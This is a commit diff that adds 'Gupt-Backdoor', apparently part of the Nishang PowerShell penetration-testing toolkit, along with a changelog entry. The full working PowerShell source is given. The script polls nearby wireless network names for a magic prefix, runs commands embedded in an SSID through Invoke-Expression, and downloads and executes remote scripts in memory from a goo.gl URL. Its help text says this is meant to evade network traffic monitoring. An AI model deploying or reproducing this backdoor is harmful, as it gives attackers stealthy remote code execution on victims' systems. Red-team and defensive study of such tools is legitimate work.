Adding Gupt-Backdoor

Author: samratashok

Backdoors/Gupt-Backdoor.ps1

@@ -0,0 +1,87 @@
+<#
+.SYNOPSIS
+Gupt is a backdoor in Nishang which could execute commands and scripts from specially crafted Wireless Network Names.
+
+.DESCRIPTION
+Gupt looks for a specially crafted Wireless Network Name/SSID from list of all avaliable networks. It matches first four characters of
+each SSID with the parameter MagicString. On a match, if the 5th character is a 'c', rest of the SSID name is considered to be a command and
+exeucted. If the 5th character is a 'u', rest of the SSID is considered the id part of Google URL Shortener and a script is downloaded and
+executed in memory from the URL. See examples for usage. 
+
+Gupt does not connect to any Wireless network and this makes it more stealthy and helps in bypassing network traffic monitoring. 
+
+.PARAMETER MagicString
+The string which Gupt would compare with the available SSIDs. 
+
+.PARAMETER Arguments
+Arguments to pass to a downloaded script.
+
+.EXAMPLE
+PS > Gupt-Backdoor -MagicString op3n -Verbose
+In above, Gupt will look for an SSID starting with "op3n". To execute whoami on the target, the wireless network name should be "op3ncwhoami".
+
+PS > Gupt-Backdoor -MagicString op3n -Verbose
+In above, Gupt will look for an SSID starting with "op3n". To execute a powershell script on the target, the wireless network name should be
+"op3nunJEuug". Here, Gupt will use of characters after the 5th one and make the URL http://goo.gl/nJEuug. A script hosted at the URL resolved
+by the Google shortener would be downloaded and executed. 
+
+.LINK
+http://www.labofapenetrationtester.com/2014/08/Introducing-Gupt.html
+https://github.com/samratashok/nishang
+#>
+
+function Gupt-Backdoor
+{
+    [CmdletBinding()] Param(
+        
+        [Parameter(Position=0, Mandatory = $True)]
+        [String]
+        $MagicString,
+
+        [Parameter(Position=3, Mandatory = $False)]
+        [String]
+        $Arguments
+ 
+    )
+    #Get list of available Wlan networks
+    while($True)
+    {
+        Write-Verbose "Checking wireless networks for instructions."
+        $networks = Invoke-Expression "netsh wlan show network"
+        $ssid = $networks | Select-String "SSID"
+        $NetworkNames = $ssid -replace ".*:" -replace " "
+        ForEach ($network in $NetworkNames)
+        {
+            #Check if the first four characters of our SSID matches the given MagicString
+            if ($network.Substring(0,4) -match $MagicString.Substring(0,4))
+            {
+                Write-Verbose "Found a network with instructions!"
+                #If the netowrk SSID contains fifth chracter "u", it means rest of the SSID is a URL
+                if ($network.Substring(4)[0] -eq "u")
+                {
+                    Write-Verbose "Downloading the attack script and executing it in memory."
+                    $PayloadURL = "http://goo.gl/" + $network.Substring(5)
+                    $webclient = New-Object System.Net.WebClient
+                    Invoke-Expression $webclient.DownloadString($PayloadURL)
+                    if ($Arguments)
+                    {
+                        Invoke-Expression $Arguments                   
+                    }
+                    Start-Sleep -Seconds 10
+                }
+                elseif ($network.Substring(4)[0] -eq "c")
+                {
+                    $cmd =  $network.Substring(5)
+                    if ($cmd -eq "exit")
+                    {
+                        break
+                    }
+                    Write-Verbose "Command `"$cmd`" found. Executing it."
+                    Invoke-Expression $cmd
+                    Start-Sleep -Seconds 10
+                }
+            }
+        }
+        Start-Sleep -Seconds 5
+    }
+}

CHANGELOG.txt

@@ -1,3 +1,5 @@
+0.3.7
+- Added Gupt-Backdoor to Backdoors.
 0.3.6.6
 - Changes to Download_Execute to make it work with authentication proxies.
 0.3.6.5